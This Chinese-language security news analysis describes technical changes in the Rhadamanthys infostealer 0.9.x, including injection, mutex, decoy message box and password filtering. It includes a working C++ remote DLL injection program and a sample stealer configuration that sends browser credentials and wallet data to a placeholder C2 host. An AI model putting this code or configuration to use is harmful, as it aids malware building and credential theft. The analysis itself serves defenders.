簡介

Rhadamanthys 是一種多模組的資訊竊取程式,自 2022 年 9 月問世以來,已發生顯著演變。它最初作為利基產品嶄露頭角,據稱源自「Hidden Bee」專案的強大架構,使其迅速成為網路犯罪活動中的主導力量 [1]。持續的開發和客製化選項是其生命週期的標誌,而 0.9.x 系列則代表了一個重要的里程碑,由於影響了現有的研究工具,因此有必要進行新的分析 [1]。本報告深入探討 Rhadamanthys 0.9.1 和 0.9.2 版本中引入的技術修改,重點關注它們對惡意軟體偵測和分析的影響。

Rhadamanthys 0.9.x 更新的五大技術要點與 EDR 挑戰 | 資訊安全新聞

架構概覽與 Loader 變體

Rhadamanthys 的基本架構在各版本中大致保持一致。然而,初始的 Loader 展現出多型性,表現為 .NET 可執行檔或 Windows 原生可執行檔(32 位元或 64 位元)。儘管執行的第一階段會根據 Loader 類型而有所不同,但後續階段的設計是相同的,確保了無論初始感染途徑如何,都能實現統一的作業流程 [1]。這種模組化設計允許靈活的部署和規避策略。

Rhadamanthys 0.9.x 更新分析

0.9.x 版本的發布帶來了一系列更新,其中 0.9.1 版本(於 2025 年 5 月 18 日發布)詳述了幾項關鍵的技術增強功能。這些變更對於理解惡意軟體不斷演進的能力和防禦對策至關重要 [1]。

  • Redesigned Database Operations: 資料庫操作的程序已重新設計,將讀取和寫入操作分開,從而增強了資料寫入的完整性。這表明在資料外傳之前,對被竊取資料的 Handle 更穩健且可能更有效率。
  • Global Mutex for Execution Suppression: 一項重要的更新是在用戶端和任務外掛程式中引入了記憶體 mutex。此機制可防止惡意軟體的單一 Session 在同一機器上同時執行多個實例,從而抑制重複的資料 submit ,並減少惡意軟體的足跡以及透過異常資源使用而被偵測的可能性。
  • Expanded Process Injection Options: 建構 stub,特別是其 X64 版本,現在包含一個程序注入開關。這允許惡意軟體在自我程序注入和注入到新程序之間進行選擇。這種注入技術的靈活性可能會使監控特定注入模式的安全解決方案難以偵測。
  • Redesigned Build Stub: 建構 stub 已完全重新設計,以實現更高的穩定性和可靠性,並完全移除了登錄檔寫入操作。此變更旨在使惡意軟體更加隱匿和持久,因為登錄檔修改通常是基於主機的入侵偵測系統的關鍵指標。
  • Enhanced Fingerprint Collection: 惡意軟體現在將瀏覽器 Fingerprint 資訊收集納入其裝置 Fingerprint 功能的一部分。這允許對受感染的系統進行更細緻的追蹤,並可能發動更有針對性的攻擊。
  • Non-ASCII Character Password Filtering: 新增了一個 nonascii: true Configuration 選項,支援過濾包含非 ASCII character 的密碼。這擴大了竊取程式可以有效鎖定和外傳的 Credential 範圍。
  • TOR Configuration Changes: TOR 的實作不再使用隨機位址生成,位址現在永久有效。這可能表明其轉向更穩定且受控的命令與控制 (C2) 通訊通道。
  • Client Loading Tracking System: 引入了一個用於用戶端 Loader 的新追蹤系統,允許與使用者的 Loader 程式整合。此系統會在程式啟動和資料收集時觸發 WEBHOOK 回呼,向攻擊者提供有關成功感染和資料外傳事件的即時通知。

Lumma-like Message Box as a Decoy

0.9.2 版本引入了一種新的欺騙性策略:在解封包初始可執行檔時會出現一個訊息框。該訊息顯示 Error: An unexpected error occurred. Please try again later. ,旨在誤導研究人員和自動化分析系統,使其認為惡意軟體執行失敗 [1]。事實上,惡意軟體會在背景中繼續執行,有效地繞過了初步審查。這種讓人聯想到 Lumma 竊取程式的技術,凸顯了惡意軟體作者在規避分析方面的日益複雜性。

惡意軟體執行流程 (簡化)

graph TD A["Initial Loader (.NET or Native)"] --> B{Unpacking / Decryption} B --> C{"Lumma-like Decoy Message Box (v0.9.2+)"} C --> D{Core Module Loading} D --> E{Global Mutex Check} E -- If Mutex Exists --> F[Terminate / Suppress Duplicate] E -- If No Mutex --> G{"Process Injection (Self or New Process)"} G --> H{"Data Collection (Browser Fingerprint, Passwords)"} H --> I{"Data Exfiltration (via C2)"} I --> J[WEBHOOK Callback Triggered]

圖 1:Rhadamanthys 0.9.x 的簡化執行流程

程式碼分析:程序注入機制

Rhadamanthys 0.9.x 中擴展的程序注入選項代表了一項關鍵的技術進展。雖然本文沒有提供直接的程式碼,但描述暗示了一個動態選擇注入到自身程序或新生成程序的機制。此功能通常是透過使用 CreateRemoteThread NtCreateThreadEx 或 APC 注入等技術用於遠端程序,以及直接記憶體操作用於自我注入來實作。一個概念性的簡化 C++ 程式片段,說明常見的遠端程序注入技術,可能如下所示:

  1. // Conceptual C++ snippet for remote process injection
  2. // This is a simplified example and does not represent the full complexity of malware injection
  3. #include <windows.h>
  4. #include <iostream>
  5. // Function to inject a DLL into a remote process
  6. bool InjectDLL(DWORD pid, const char* dllPath)
  7. {
  8.     HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
  9.     if (hProcess == NULL)
  10.     {
  11.         std::cerr << "Error: Could not open process. Error Code: " << GetLastError() << std::endl;
  12.         return false;
  13.     }
  14.     // Allocate memory in the remote process for the DLL path
  15.     LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  16.     if (pRemoteBuf == NULL)
  17.     {
  18.         std::cerr << "Error: Could not allocate memory in remote process. Error Code: " << GetLastError() << std::endl;
  19.         CloseHandle(hProcess);
  20.         return false;
  21.     }
  22.     // Write the DLL path to the allocated memory
  23.     if (!WriteProcessMemory(hProcess, pRemoteBuf, dllPath, strlen(dllPath) + 1, NULL))
  24.     {
  25.         std::cerr << "Error: Could not write to process memory. Error Code: " << GetLastError() << std::endl;
  26.         VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
  27.         CloseHandle(hProcess);
  28.         return false;
  29.     }
  30.     // Get the address of LoadLibraryA in kernel32.dll
  31.     HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
  32.     if (hKernel32 == NULL)
  33.     {
  34.         std::cerr << "Error: Could not get handle to kernel32.dll. Error Code: " << GetLastError() << std::endl;
  35.         VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
  36.         CloseHandle(hProcess);
  37.         return false;
  38.     }
  39.     FARPROC pLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryA");
  40.     if (pLoadLibrary == NULL)
  41.     {
  42.         std::cerr << "Error: Could not get address of LoadLibraryA. Error Code: " << GetLastError() << std::endl;
  43.         VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
  44.         CloseHandle(hProcess);
  45.         return false;
  46.     }
  47.     // Create a remote thread in the target process to call LoadLibraryA with the DLL path
  48.     HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibrary, pRemoteBuf, 0, NULL);
  49.     if (hRemoteThread == NULL)
  50.     {
  51.         std::cerr << "Error: Could not create remote thread. Error Code: " << GetLastError() << std::endl;
  52.         VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
  53.         CloseHandle(hProcess);
  54.         return false;
  55.     }
  56.     WaitForSingleObject(hRemoteThread, INFINITE);
  57.     // Clean up
  58.     VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
  59.     CloseHandle(hRemoteThread);
  60.     CloseHandle(hProcess);
  61.     return true;
  62. }
  63. int main()
  64. {
  65.     // Example usage: Inject "malicious.dll" into a process with PID 1234
  66.     // In a real scenario, the PID would be obtained dynamically, and the DLL would be crafted to perform malicious actions.
  67.     // The malware would also likely obfuscate these calls and use more sophisticated techniques.
  68.     DWORD targetPid = 1234; // Placeholder PID
  69.     const char* dllToInject = "C:\\Path\\To\\malicious.dll"; // Placeholder DLL path
  70.     if (InjectDLL(targetPid, dllToInject))
  71.     {
  72.         std::cout << "DLL injected successfully!" << std::endl;
  73.     }
  74.     else
  75.     {
  76.         std::cout << "DLL injection failed." << std::endl;
  77.     }
  78.     return 0;
  79. }

這個概念程式碼演示了惡意的 DLL 如何被注入到另一個程序中。惡意軟體能夠選擇自我注入和新程序注入,使其能夠適應不同的沙箱環境和規避技術。自我注入可用於修改其自身行為或在自身記憶體空間內解封包更多階段,而遠端注入到合法程序則有助於它偽裝成良性軟體,並存取目標程序的資源或權限。

Configuration Analysis: Non-ASCII Password Filtering

為密碼過濾新增 nonascii: true Configuration 選項是一個細微但有影響力的技術細節。這表明惡意軟體的解析功能已增強,能夠正確 Handle 並外傳包含標準 ASCII 集合以外 character Credential 。這在 國際環境 中尤為重要,因為使用者經常使用帶有重音字母、特殊符號或非拉丁字母的密碼。Rhadamanthys 的一個假設 Configuration 程式片段可能包括:

  1. {
  2.     "exfiltration_targets": [
  3.         "https://c2.malware-domain.com/api/submit"
  4.     ],
  5.     "data_to_steal": [
  6.         "browser_credentials",
  7.         "wallet_data",
  8.         "system_info"
  9.     ],
  10.     "password_filtering": {
  11.         "min_length": 8,
  12.         "nonascii": true, // Enables filtering for non-ASCII characters
  13.         "blacklist_keywords": [
  14.             "test",
  15.             "password"
  16.         ]
  17.     },
  18.     "persistence": {
  19.         "method": "scheduled_task",
  20.         "task_name": "SystemUpdateService"
  21.     }
  22. }

Configuration 演示了 nonascii: true 旗標將如何使惡意軟體能夠正確處理和外傳包含更廣泛 character 範圍的密碼,從而提高其對不同使用者群的有效性。在舊版本中缺少此功能可能導致此類密碼的資料損毀或外傳不完整。

Evasion Techniques: Lumma-like Decoy

在 0.9.2 版本中實作 Lumma-like 訊息框是一種針對自動化分析系統和人類研究人員的複雜規避技術。透過呈現一個看似良性的錯誤訊息,惡意軟體試圖提前終止分析。此策略利用了安全分析師傾向於丟棄看起來執行失敗或 Crash 的樣本的常見做法。然而,惡意軟體會在背景中繼續執行其惡意攻擊,使其更難被偵測和分析。這種行為改變需要更進階的動態分析技術才能完全揭示其真實意圖。

結論

Rhadamanthys 0.9.x 的更新強調了其開發人員為增強惡意軟體的隱匿性、可靠性和資料外傳能力所做的持續努力。全域 mutex 的引入、擴展的程序注入選項、重新設計的建構 stub 和改進的密碼過濾共同造就了一個更具彈性和有效的威脅。欺騙性的 Lumma-like 訊息框進一步說明了規避策略不斷演變的複雜性。防禦者必須調整其偵測和分析方法,以應對這些進展,專注於動態分析、行為監控和強大的端點偵測與回應 (Endpoint Detection and Response, EDR) 解決方案,以對抗 Rhadamanthys 構成的持續威脅。